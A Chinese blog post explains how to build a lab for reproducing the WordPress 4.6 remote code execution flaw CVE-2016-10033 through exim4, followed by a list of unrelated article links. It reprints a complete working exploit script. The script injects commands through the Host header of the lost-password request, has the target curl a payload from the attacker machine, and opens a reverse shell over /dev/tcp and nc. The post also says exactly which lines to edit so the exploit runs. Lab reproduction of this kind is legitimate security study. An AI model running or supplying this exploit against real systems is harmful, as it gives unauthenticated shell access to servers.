WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南
首先是找到网上的漏洞分析和poc脚本,WordPress <4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频)——具体关于漏洞的分析不多说了,这个说得很好了,主要是说环境搭建。
搭建环境的步骤:
1.靶机
靶机不能是虚拟机 因为虚拟机修改了HOST头会无法访问
靶机我是在一台电脑上装了ubuntu 16.04。
外加lamp环境 apache2 php7 mysql-server phpmyadmin。
具体的指令网上都有 这里就不赘述 然后直到看到it works。
下载wordpress4.6的安装压缩包 https://wordpress.org/wordpress-4.6.zip 。解压到/var/www/html/目录下 浏览器访问进行wordpress安装直到结束!注意这里会要求你输入后台管理员的邮箱,这个是和后面poc中的一部分挂钩的,后面会提到
靶机安装exim4而不是sendmail
sudo apt-get install exim4
上述命令用来安装exim4
dpkg-reconfigure exim4-config
上述命令用来配置 第一个选项选第一个:internet site; mail is sent and received directly using SMTP 第二个选项输入:你IP对应的DNS名称(发邮件时显示的@后缀) 这里我直接写的ip好像。后面的我基本都默认就行
靶机需要安装curl
2.攻击机
为了方便运行poc,攻击机最好也是linux系统(里面有一些curl nc等指令)
需要安装python,因为会有python建立simple http server来让靶机从你这边获取东西
攻击机上运行 ./exp.sh [
http://xx.xx.xx.xx/
](
http://xx.xx.xx.xx/
)
即可 其中xx.xx.xx.xx为靶机wordpress的根地址
3.脚本需要修改的部分
rev_host=”192.168.57.1″ #1 function prep_host_header() { cmd=”$1″ rce_cmd=”${run{$cmd}}”; # replace / with ${substr{0}{1}{$spool_directory}} #sed ‘s^/^${substr{0}{1}{$spool_directory}}^g’ rce_cmd=”`echo $rce_cmd | sed ‘s^/^${substr{0}{1}{$spool_directory}}^g’`” # replace ‘ ‘ (space) with #sed ‘s^ ^${substr{10}{1}{$tod_log}}$^g’ rce_cmd=”`echo $rce_cmd | sed ‘s^ ^${substr{10}{1}{$tod_log}}^g’`” #return “target(any -froot@localhost -be $rce_cmd null)” host_header=”target(any -froot@localhost -be $rce_cmd null)” return 0 } #cat exploitbox.ans intro=” DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K” intro2=” ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==” echo “$intro” | base64 -d echo “$intro2″ | base64 -d if [ "$#" -ne 1 ]; then echo -e “Usage:n$0 target-wordpress-urln” exit 1 fi target=”$1″ echo -ne “e[91m[*] 33[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] ” choice echo if [ "$choice" == "y" ]; then echo -e “e[92m[*] 33[0m Guess I can't argue with that... Let's get started...n" echo -e "e[92m[+] 33[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php? action=lostpassword #2 echo -e "ne[92m[+]e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & #3 echo -e "ne[92m[+] 33[0m Payload executed!" echo -e "ne[92m[*] 33[0m Waiting for the target to send us a e[94mreverse shelle[0m...n" nc -vv -l 1337 echo else echo -e "e[92m[+] 33[0m Responsible choice
Exiting.n" exit 0 fi echo "Exiting..." exit 0
三个地方 第一处 #1 line 1
rev_host="192.168.57.1" #1
这边要替换成你的攻击机的ip地址,一般是和靶机处在一个局域网内的,可以提前访问下wordpress的网站进行测试。
第二处 #2 line 75第三处 #3 line 80
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword #2 echo -e "ne[92m[+]e[0m Payload sent successfully” # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd=”/bin/bash /tmp/rce” prep_host_header “$cmd” curl -H”Host: $host_header” -d ‘user_login=admin&wp-submit=Get+New+Password’ $target/wp-login.php?action=lostpassword & #3
这两个地方主要要修改的可能是 user_login=admin
这个参数,这个poc里默认的是admin
这里其实就是你装wordpress时管理员的或者任意一个用户的邮箱
因为找回密码时他会先判断邮箱是否存在,再进行下一步
如果这里邮箱不存在 你发包是返回200 告诉你邮箱不存在
如果是存在有的邮箱,就是返回302跳转到输入邮箱密码的界面 同时告诉你邮件已经发了
下面是burp模拟攻击时候的抓包 返回的是302时说明已经命令执行成功
可以看到靶机上也确实出现了rce文件
这边执行的命令是 /usr/bin/curl -o/tmp/rce $rev_host/rce.txt
这三个地方改好了之后,脚本就可以运行了
(里面的一些test和输出是我调的时候自己加的不用在意…)
脚本的主要流程:
生成本地rce.txt 里面写的是是建立连接的命令 命令执行第一次 curl攻击机获取rce.txt 写到/tmp目录下 命令执行第二次 运行tmp目录下的rce nc连接靶机
效果不错,但是局限性较多,比如不能用虚拟机 还有要安装exim4等
这次复现一开始我都在纠结我的wp不能发邮件,还配置SMTP服务器什么的,后来发现其实这不是问题所在,
所以最重要的还是搞清楚到底是需要什么样的验证环境,需要安装那些东西,可以少走很多弯路。
- 竞猜活动区块链方案探索
- 大前端神器安利之 Puppeteer
- 传统数据库也能实现区块链存储
- golang(Go语言) byte/[]byte 与 二进制形式字符串 互转
- Sublime Text 最新注册码分享
- Lua table之弱引用
- 看吧,这就是现代化 PHP 该有的样子
- 从web图片裁剪出发:了解H5中的Blob
- Android子线程更新UI主线程方法之Handler
- Drawable.Bitmap.Canvas.Paint.Matrix
- 关于JSON.stringify和Unicode编码,需要注意的几点
- 用 PHP 的方式实现的各类算法合集
- Nginx 反向代理解决前后端联调跨域问题
- JavaScript对象length
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Spring解决循环依赖的思路
- Spring中Bean的创建流程
- 详解RocketMQ事务消息
- 带你白嫖程序带宽限制命令Trickle
- Fix SSH客户端登录会话超时设置
- JAVA的泛型与反射的联合应用
- 专项测试实战 | 如何测试 App 流畅度(基于 FPS 和丢帧率)
- 计算上传文件的存放路径
- 按照list中实体类的某一属性排序
- java邮件开发
- java计算某日期之后的日期
- 文件上传之Html5 + jQuery上传、asp.net web api接收
- Struts2自定义结果视图(servlet验证码)
- jQuery Ajax传递数组到asp.net web api参数为空
- asp.net web api集成微信服务(使用Senparc微信SDK)